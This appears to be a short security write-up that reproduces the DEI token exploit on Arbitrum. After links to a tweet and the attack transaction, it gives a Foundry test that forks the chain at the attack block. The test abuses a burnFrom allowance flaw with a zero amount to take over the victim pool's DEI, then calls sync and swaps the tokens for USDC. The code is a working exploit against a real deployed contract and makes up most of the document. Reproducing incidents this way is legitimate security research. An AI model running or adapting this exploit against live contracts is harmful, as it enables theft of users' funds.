Smart contract vulnerability cases, DEI vulnerability recurrence

Smart contract vulnerability cases, DEI vulnerability recurrence

1. Vulnerability introduction

https://twitter.com/eugenioclrc/status/1654576296507088906

2. Related addresses or transactions

https://explorer.phalcon.xyz/tx/arbitrum/0xb1141785b7b94eb37c39c37f0272744c6e79ca1517529fec3f4af59d4c3c37ef attack transaction

3. Profit analysis

5. Vulnerability recurrence

pragma solidity ^0.8.10;

//import  "../interfaces/interface.sol";
import "forge-std/Test.sol";
import "./interface.sol";
import "../contracts/ERC20.sol";

interface DEI {
    function burnFrom(address account, uint256 amount) external;
}

interface AMM {
    function sync() external;
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function getAmountOut(uint amountIn, address tokenIn) external returns(uint256);

}

contract ContractTest is Test{

    address constant dei = 0xDE1E704dae0B4051e80DAbB26ab6ad6c12262DA0;
    address constant victim = 0x7DC406b9B904a52D10E19E848521BbA2dE74888b;
    address constant usdc = 0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8;



    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("arbitrum", 87626026 -2);
        //uint256 forkId = cheats.createFork("bsc");
        //cheats.selectFork(forkId);

    }

    function testExploit() external {
        IERC20(dei).approve(victim,type(uint256).max);
        DEI(dei).burnFrom(victim, 0);
        emit log_named_decimal_uint("Attacker DEI allowance", IERC20(dei).allowance(victim,address(this)), 18);

        uint256 victimNum = IERC20(dei).balanceOf(victim);
        emit log_named_decimal_uint("victim DEI allowance", victimNum, 18);
        IERC20(dei).transferFrom(victim,address(this),victimNum-1);
        AMM(victim).sync();
        emit log_named_decimal_uint("After attack,Attacker DEI allowance",IERC20(dei).balanceOf(address(this)), 18);
        uint outNum = AMM(victim).getAmountOut(victimNum-1, dei);
        emit log_named_decimal_uint("outNUm is :",outNum, 18);

        IERC20(dei).transfer(victim,victimNum-1);
        AMM(victim).swap(0, outNum, address(this), "");

        emit log_named_decimal_uint("After attacker's usdc is :",IERC20(usdc).balanceOf(address(this)), 6);

    }
}